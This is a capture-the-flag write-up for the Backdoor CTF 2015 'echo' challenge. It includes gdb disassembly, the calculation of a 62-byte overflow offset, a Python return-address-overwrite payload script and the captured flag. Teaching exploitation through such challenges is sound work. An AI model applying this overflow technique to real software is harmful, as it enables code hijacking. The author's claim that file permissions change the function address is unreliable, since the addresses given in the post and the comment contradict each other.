Backdoor CTF 2015 echo writeup

I made a rough outline of the binary file given to us,

sample()

{    Reads a file called flag.txt and writes to stdout. flag.txt is stored in the server; }

test()

{    Gets the user input and displays back the input in stdout; }

main()

{    calls the test() function;    }

Our task would be to:

1. Overflow the buffer using gets()

2. Find out the number of bytes between buffer and the return address.

3. Overwrite the return address of test() function to sample() function’s address, which would eventually return us the contents of flag.txt

You may find different addresses when you work out, since I changed the permission of the binary to 777. To get the flag, you should not be changing the permissions to 777. When you run the script please give the return address to be 0x0804857d instead of 0x0804854d. The explanation given below is done after changing the permission to 777.

The problem was not clear initially, as the sample() function was not called either from the main() or from the test() function. I found the sample() function when I tried to run objdump on the given binary.

sample_objdump

Here is the screenshot of sample function when the permission of the binary is not changed.

Our next function is test(), where we can find the gets() function, which is vulnerable to buffer overflow. Now will test the vulnerability before proceeding further.

➜ backdoor [139] ./echo

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
ECHO: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
[1] 4671 segmentation fault (core dumped) ./echo

Well it worked. Here is the test function’s assembly code,

(gdb) disas test

Dump of assembler code for function test:
0x080485c0 <+0>: push ebp
0x080485c1 <+1>: mov ebp,esp
0x080485c3 <+3>: sub esp,0x58
0x080485c6 <+6>: lea eax,[ebp-0x3a]  <—— target!
0x080485c9 <+9>: mov DWORD PTR [esp],eax
0x080485cc <+12>: call 0x80483d0 <gets@plt>
0x080485d1 <+17>: mov eax,ds:0x804a034
0x080485d6 <+22>: lea edx,[ebp-0x3a]
0x080485d9 <+25>: mov DWORD PTR [esp+0x8],edx
0x080485dd <+29>: mov DWORD PTR [esp+0x4],0x80486ab
0x080485e5 <+37>: mov DWORD PTR [esp],eax
0x080485e8 <+40>: call 0x8048420 <fprintf@plt>
0x080485ed <+45>: leave
0x080485ee <+46>: ret
End of assembler dump.

Now will find the address of the buffer by analyzing the stack contents by putting a break point after the gets() function call (i.e at 0x080485d1).

(gdb) b *0x080485d1
Breakpoint 1 at 0x080485d1
(gdb) r

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

Breakpoint 1, 0x080485d1 in test ()

Will now inspect the address stored in eax, which must be our buffer.

eax_buffer

‘a’ repeats 67 times so this confirms that buffer’s address (0xffffd24e) is stored in eax. Our next aim is find the address of saved eip (a.k.a return address). This can be done by seeing the frame contents in gdb. “info frames or just i <space> f”

(gdb) i f
Stack level 0, frame at 0xffffd290:
eip = 0x80485d1 in test; saved eip = 0x61616161
called by frame at 0xffffd294
Arglist at 0xffffd288, args:
Locals at 0xffffd288, Previous frame’s sp is 0xffffd290
Saved registers:
ebp at 0xffffd288, eip at 0xffffd28c

Look at the saved eip’s value -> 0x61 corresponds to “a”. This means we have overflowed the buffer and overwritten the return address. Now we don’t want “a” i.e 0x61 in our saved eip, instead we want to store the sample() function’s address. Sample function address can be found at 0x0804854d. The saved eip’s location is at 0xffffd28c (see above).  To overwrite the return address with our sample function’s address, we will subtract the buffer address from the saved eip, which will give the number of bytes we need to overflow.

(gdb) print 0xffffd28c-0xffffd24e
$1 = 62

So we have to enter 62 “a”s followed by the sample() function’s address for a successful exploitation. Here is the script which was written by my teammate( 😛 😛 hacker), which helped us to get the flag.

#!/usr/bin/python

from struct import pack


padding = "A"*62
sample = 0x0804857d #Script will work with 0x0804857d since I changed the permissions locally.


def main():
 payload = padding
 payload += pack("<I", sample)
 print payload

if __name__ == "__main__":
 main()

backdoor

So the flag is 96f674623c2c378f89700aa46f02cf3b311489f0fac6fd5885d4bc1a129a. Credit goes to you as well b3h3m0th 😛

5 thoughts on “Backdoor CTF 2015 echo writeup

    • I did a chmod +x on the binary before opening in gdb. That is why I am getting 0x0804854d as sample()’s return address. Without chmod +x on the binary would give 0x0804857d as sample()’s address.
      (gdb) disas sample
      Dump of assembler code for function sample:
      0x0804857d : push %ebp
      0x0804857e : mov %esp,%ebp
      0x08048580 : sub $0x88,%esp
      0x08048586 : movl $0x80486d0,0x4(%esp)
      0x0804858e : movl $0x80486d2,(%esp)
      (stripped)
      BTW Thanks for pointing it out. I mentioned it above.

Leave a comment